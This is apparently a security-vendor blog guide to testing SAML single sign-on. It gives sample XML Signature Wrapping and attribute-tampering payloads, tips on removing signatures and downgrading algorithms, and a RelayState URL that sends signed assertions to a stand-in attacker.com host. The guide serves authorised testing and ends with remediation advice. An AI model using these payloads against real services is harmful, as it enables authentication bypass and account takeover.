SAML Security Testing: SSO Vulnerabilities, XML Signature Wrapping, and Bypass Techniques

SAML 2.0 is the backbone of enterprise single sign-on. Every SaaS product that integrates with corporate identity providers — Okta, Azure AD, Ping, OneLogin — speaks SAML. The protocol is mature and well-designed in principle, but the implementation surface is wide, the XML parsing is complex, and the attack history is instructive.

The most famous SAML vulnerability class — XML Signature Wrapping — allowed attackers to authenticate as arbitrary users in applications including GitHub, Uber, and multiple major SaaS platforms. It persisted for years because the flaw isn't in the SAML spec but in how XML digital signatures are validated against XML documents. A correctly signed assertion can be embedded inside a tampered response, and a careless implementation validates the signature while reading the tampered data.

This guide covers SAML testing from an application security perspective: the attack surface, what to test, and the tools that make it tractable.

How SAML 2.0 Authentication Works

Understanding the attack surface requires understanding the flow:

  1. Service Provider (SP) initiates SSO. The user visits app.example.com and clicks "Log in with SSO." The SP generates a SAMLRequest, encodes it in base64, and redirects the user to the Identity Provider (IdP) with the request as a URL parameter or POST form field.
  2. IdP authenticates the user. The corporate IdP (Okta, Azure AD, etc.) authenticates the user with credentials, MFA, etc.
  3. IdP issues a SAMLResponse. The IdP generates a signed XML assertion containing the user's identity (email, groups, attributes), signs it with its private key, and returns it to the SP via HTTP POST to the Assertion Consumer Service (ACS) URL.
  4. SP validates and grants access. The SP validates the signature against the IdP's known public certificate, extracts the NameID (typically email), and creates an authenticated session.

The security relies on the SP correctly validating the XML signature — which is where things get complicated.

XML Signature Wrapping (XSW) Attacks

XML Signature Wrapping is the most critical SAML vulnerability class. The attack exploits a disconnect between which element the signature covers and which element the application reads.

XML Signatures work by signing a specific XML element identified by its ID attribute. The signature is valid for that element — but nothing prevents an attacker from injecting a different element with a different (or duplicated) ID into the document. If the SP validates the signature on element X but then reads the user identity from element Y (which wasn't signed), the attacker can substitute their own identity in element Y while leaving the valid signature on element X intact.

<!-- Legitimate SAML Response (simplified) -->
<samlp:Response>
  <Assertion ID="_signed_assertion">
    <NameID>victim@example.com</NameID>
    <Signature><!-- Signs _signed_assertion --></Signature>
  </Assertion>
</samlp:Response>

<!-- XSW Attack: inject a second assertion with attacker identity -->
<samlp:Response>
  <Assertion ID="_attacker_assertion">  <!-- No signature -->
    <NameID>admin@example.com</NameID>  <!-- Attacker's target identity -->
  </Assertion>
  <Assertion ID="_signed_assertion">
    <NameID>victim@example.com</NameID>  <!-- Original signed content -->
    <Signature><!-- Still valid for _signed_assertion --></Signature>
  </Assertion>
</samlp:Response>
<!-- If the SP reads the first Assertion, they get admin@example.com -->
<!-- If the SP validates the signature on _signed_assertion, it passes -->

There are eight standard XSW attack patterns (XSW1-XSW8), varying in where the malicious element is placed relative to the signed original. A vulnerable SP will accept at least one of these variants.

Testing for XSW with SAMLRaider

SAMLRaider is the standard Burp Suite extension for SAML testing. It intercepts SAML messages and provides UI controls for modifying assertions and attempting XSW attacks:

# Install SAMLRaider via Burp BApp Store or manually
# Configure Burp as proxy, navigate through SSO login flow
# SAMLRaider will automatically detect and decode SAML messages

# In the SAMLRaider tab:
# 1. Import the IdP's certificate (for signature analysis)
# 2. Use "XSW Attacks" to automatically generate all 8 XSW variants
# 3. Replay each variant and observe which ones authenticate successfully

# Manual testing — decode the SAMLResponse:
echo "BASE64_ENCODED_SAML" | base64 -d | xmllint --format - | less

Testing for XSW Manually

# 1. Capture a valid SAMLResponse (from Burp or browser DevTools)
# 2. Decode from base64 and URL-decode
python3 -c "
import base64, urllib.parse, sys
data = sys.stdin.read().strip()
print(base64.b64decode(urllib.parse.unquote(data)).decode())
" < saml_response.b64

# 3. Modify the NameID to your target (e.g., an admin account)
# 4. Re-encode and replay via Burp Repeater

# Key: does the application accept a modified assertion without a valid signature?
# Also test: empty signature, removed signature, self-signed certificate

Signature Verification Bypass Techniques

Unsigned Assertion Acceptance

Some implementations accept SAML assertions that have no signature at all. The application validates signatures when present but doesn't reject assertions that lack one:

# Remove the Signature element entirely from the assertion
# Re-encode and replay
# If the SP accepts this, signature validation is optional — critical vulnerability

# Tools:
# - SAMLRaider: "Remove Signatures" button
# - Manual: xmllint + edit + re-encode

Algorithm Confusion

Similar to JWT algorithm confusion attacks, SAML responses can sometimes be manipulated to use a weaker algorithm or to specify an attacker-controlled algorithm:

<!-- Original -->
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>

<!-- Manipulated: change to a weaker algorithm -->
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>

<!-- Or try HMAC — if the SP calculates HMAC with a known key
     (attacker can guess or obtain), signature becomes forgeable -->
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#hmac-sha1"/>

Certificate Substitution

If the SP doesn't pin the IdP certificate to a trusted, pre-configured certificate but instead reads it from the SAMLResponse itself, an attacker can substitute their own certificate and sign the assertion with the corresponding private key:

<!-- Does the SP accept a SAMLResponse signed by an arbitrary cert
     if that cert is embedded in the X509Certificate element? -->
<ds:X509Certificate>[ATTACKER CERTIFICATE]</ds:X509Certificate>

<!-- Verify the SP's metadata: does it specify a fixed signing certificate?
GET /saml/metadata → look for md:KeyDescriptor with a hard-coded cert -->

Attribute Tampering

Beyond NameID manipulation, SAML assertions carry attributes — email, groups, roles, permissions — that the SP uses for authorization. If the assertion isn't properly signature-validated, attribute tampering can achieve privilege escalation even without full authentication bypass:

<!-- Original assertion attributes -->
<saml:Attribute Name="role">
  <saml:AttributeValue>user</saml:AttributeValue>
</saml:Attribute>

<!-- Tampered -->
<saml:Attribute Name="role">
  <saml:AttributeValue>admin</saml:AttributeValue>
</saml:Attribute>

<!-- Also test email-based identity mapping -->
<saml:NameID>admin@example.com</saml:NameID>

The test is whether modifying attributes in an otherwise valid (signed) assertion allows different access — which happens when the SP validates the signature but reads attributes from an injected (unsigned) copy.

Replay Attacks

SAML assertions include a NotOnOrAfter timestamp and a one-time InResponseTo ID designed to prevent replay. A vulnerable SP that doesn't track used assertion IDs allows an attacker to replay a captured valid assertion:

# Test procedure:
# 1. Complete a successful SAML authentication flow — capture the SAMLResponse
# 2. Log out
# 3. Re-submit the same SAMLResponse to the ACS URL
# If you're authenticated again → replay attacks are possible

# Also test:
# - Does the SP reject assertions where NotOnOrAfter is in the past?
# - Does the SP reject assertions with a NotBefore in the future?
# - Does the SP require InResponseTo to match an outstanding AuthnRequest?

# Manipulate timestamps (requires XSW or unsigned assertion vulnerability):
# Change NotOnOrAfter to a distant future date
<saml:Conditions NotBefore="2020-01-01T00:00:00Z"
                 NotOnOrAfter="2099-12-31T23:59:59Z">

ACS URL Manipulation

The Assertion Consumer Service URL tells the IdP where to POST the SAMLResponse after authentication. If the SP passes a user-controlled RelayState or ACS URL back to the IdP, and the IdP doesn't validate that URL against a pre-registered list, an open redirect or open ACS vulnerability can redirect SAML assertions to attacker-controlled infrastructure:

# In the initial SAMLRequest, check if ACS URL is user-controllable
# Look for RelayState, return_to, redirect_uri in the SSO initiation flow

# If the IdP reflects the SP-provided ACS URL without validation:
https://idp.example.com/sso?SAMLRequest=...&RelayState=https://attacker.com/capture

# The IdP would POST the signed assertion to attacker.com — valid token capture

The SAML Security Testing Toolkit

Tool Purpose
SAMLRaider (Burp) Intercept, decode, modify SAML messages; automated XSW attack patterns
SAML DevTools (browser extension) Decode and inspect SAML messages in flight
python-saml / pysaml2 Craft custom SAML assertions for manual testing
xmllint Parse and validate XML structure
xmlsec1 Sign and verify XML signatures from command line
SAML Test Framework (GitHub) Automated XSW testing against ACS endpoints

SAML Security Testing Checklist

Remediation

Use a well-maintained SAML library. Don't implement SAML validation from scratch. Libraries like python-saml, ruby-saml, passport-saml, and Spring Security SAML handle the complex signature validation logic. Keep them updated — multiple CVEs in popular SAML libraries relate to XSW vulnerabilities in specific versions.

Pin the IdP certificate. Configure the SP with the IdP's certificate from the IdP's metadata, and don't accept certificates embedded in incoming SAMLResponses as trust anchors.

Validate assertions are directed at your SP. Check the AudienceRestriction element — it should contain your SP's Entity ID. Assertions intended for other SPs should be rejected.

Require signatures on both Response and Assertion. The SAML spec allows either to be unsigned in some flows. Require signatures on both elements in your SP configuration.

Implement assertion ID tracking. Store and check used assertion IDs to prevent replay attacks within the assertion validity window.

Disable IdP-initiated SSO if not needed. IdP-initiated flows don't have an AuthnRequest and are harder to validate. If your use case doesn't require it, disable it.

SAML is in the authentication path for every enterprise user. A signature wrapping vulnerability means any employee can authenticate as any other employee — including admins. Ironimo's authentication testing includes SAML assertion analysis as part of enterprise-grade application security scans.

Start free scan
← Back to blog